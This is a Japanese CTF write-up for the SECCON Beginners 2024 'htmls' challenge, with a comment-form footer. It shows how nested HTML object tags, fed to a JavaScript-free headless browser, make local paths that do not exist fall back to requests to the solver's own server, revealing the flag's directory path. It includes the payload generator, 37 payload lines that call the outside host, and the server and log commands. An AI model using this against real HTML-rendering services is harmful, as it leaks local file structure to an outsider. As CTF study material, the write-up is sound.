SECCON Beginners 2024 Writeup (htmls)

問題

HTMLファイルからlsコマンドを叩ける?

https://htmls.beginners.seccon.games

※負荷軽減のためリクエストにはレート制限がかかっています。総当たりは不要です。サーバはリセットされることがあります。

htmls.tar.gz c99092854643d7a09c59605125b689a80622a570

注目点

まず、flagの作成方法を見る

#!/bin/bash

rm -rf /var/www/htmls/ctf/*

base_path="/var/www/htmls/ctf/"

depth=$((RANDOM % 10 + 15))

current_path="$base_path"

for i in $(seq 1 $depth); do
  char=$(printf "%d" $((RANDOM % 36)))
  if [[ $char -lt 26 ]]; then
    char=$(printf "\\$(printf "%03o" $((char + 97)) )")
  else
    char=$(printf "%d" $((char - 26)))
  fi
  current_path+="${char}/"
  mkdir -p "$current_path"
done

echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"

重要なのは、1文字のディレクトリが作成されていること。
0-9, a-z のいずれかの文字で構成されており、 /var/www/htmls/ctf/0/1/2/a/b/c/flag.txt のようになっていることがわかる。

つぎに、クローリング環境を見る

async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()

JavaScriptは使えず、ページロード後のアクションもない。
この時点で取れる方法は非常に限られてくる。

解法

object ロードのフォールバック

objectタグは任意のリソースをページに読み込ませるタグであるが、階層構造にすることによってフォールバック動作が可能である
参考:https://gist.github.com/mamchenkov/bdbdf812ab48f72ad9c9

<!-- ./ctf/a が存在すれば、./ctf/aのディレクトリリストが表示される -->
<object data="./ctf/a">
   <!-- なければ内側が参照され、mywebsiteへのアクセスが始まる -->
  <object data="http://mywebsite/fallback/a"></object>
</object>

そのため、0-9, a-z, flag.txt までのすべてのフォールバックパスを用意しておき、全37個中36回だけ飛んでくるリクエストを確認すれば、フォールバックされなかったパス=存在するディレクトリを判別できる。

下記のようなスクリプトを作成

path=""   #"q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/" のようになっていく
for c in {0..9} {a..z} flag.txt; do echo "<object data=\"./ctf/$path$c\"><object data=\"https://mywebsite/$c\"></object></object>"; done

実行すると、下記のhtmlが出来上がるので、これを提出すればよい。

<object data="./ctf/0"><object data="https://mywebsite/0"></object></object>
<object data="./ctf/1"><object data="https://mywebsite/1"></object></object>
<object data="./ctf/2"><object data="https://mywebsite/2"></object></object>
<object data="./ctf/3"><object data="https://mywebsite/3"></object></object>
<object data="./ctf/4"><object data="https://mywebsite/4"></object></object>
<object data="./ctf/5"><object data="https://mywebsite/5"></object></object>
<object data="./ctf/6"><object data="https://mywebsite/6"></object></object>
<object data="./ctf/7"><object data="https://mywebsite/7"></object></object>
<object data="./ctf/8"><object data="https://mywebsite/8"></object></object>
<object data="./ctf/9"><object data="https://mywebsite/9"></object></object>
<object data="./ctf/a"><object data="https://mywebsite/a"></object></object>
<object data="./ctf/b"><object data="https://mywebsite/b"></object></object>
<object data="./ctf/c"><object data="https://mywebsite/c"></object></object>
<object data="./ctf/d"><object data="https://mywebsite/d"></object></object>
<object data="./ctf/e"><object data="https://mywebsite/e"></object></object>
<object data="./ctf/f"><object data="https://mywebsite/f"></object></object>
<object data="./ctf/g"><object data="https://mywebsite/g"></object></object>
<object data="./ctf/h"><object data="https://mywebsite/h"></object></object>
<object data="./ctf/i"><object data="https://mywebsite/i"></object></object>
<object data="./ctf/j"><object data="https://mywebsite/j"></object></object>
<object data="./ctf/k"><object data="https://mywebsite/k"></object></object>
<object data="./ctf/l"><object data="https://mywebsite/l"></object></object>
<object data="./ctf/m"><object data="https://mywebsite/m"></object></object>
<object data="./ctf/n"><object data="https://mywebsite/n"></object></object>
<object data="./ctf/o"><object data="https://mywebsite/o"></object></object>
<object data="./ctf/p"><object data="https://mywebsite/p"></object></object>
<object data="./ctf/q"><object data="https://mywebsite/q"></object></object>
<object data="./ctf/r"><object data="https://mywebsite/r"></object></object>
<object data="./ctf/s"><object data="https://mywebsite/s"></object></object>
<object data="./ctf/t"><object data="https://mywebsite/t"></object></object>
<object data="./ctf/u"><object data="https://mywebsite/u"></object></object>
<object data="./ctf/v"><object data="https://mywebsite/v"></object></object>
<object data="./ctf/w"><object data="https://mywebsite/w"></object></object>
<object data="./ctf/x"><object data="https://mywebsite/x"></object></object>
<object data="./ctf/y"><object data="https://mywebsite/y"></object></object>
<object data="./ctf/z"><object data="https://mywebsite/z"></object></object>
<object data="./ctf/flag.txt"><object data="https://mywebsite/flag.txt"></object></object>

あとは手持ちのサーバで待ち構えておき、リクエストログを収集

$ ngrok http 8000 # 別タブで走らせておく
$ touch {0..9} {a..z} flag.txt # 200を返しておいたほうがログ処理が楽なので、予めファイルを用意しておく
$ python3 -m http.server |& grep --line-buffered -oP "GET /\w+" > result.txt # リクエストが一通り来たらC-cでサーバを一回止める

先述のhtmlを提出後、すぐ36回のリクエストが飛んでくるので、全37パターンと照合して唯一来ていないものを特定すれば良い

$ diff <(sort result.txt) <(for i in {0..9} {a..f} flag {g..z}; do echo "GET /$i"; done)
22a23
> GET /l

1階層ずつ特定できるため、あとはスクリプトの path を徐々に増やしていき、 flag.txt が見つかるまで繰り返せば良い

カテゴリー CTF

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です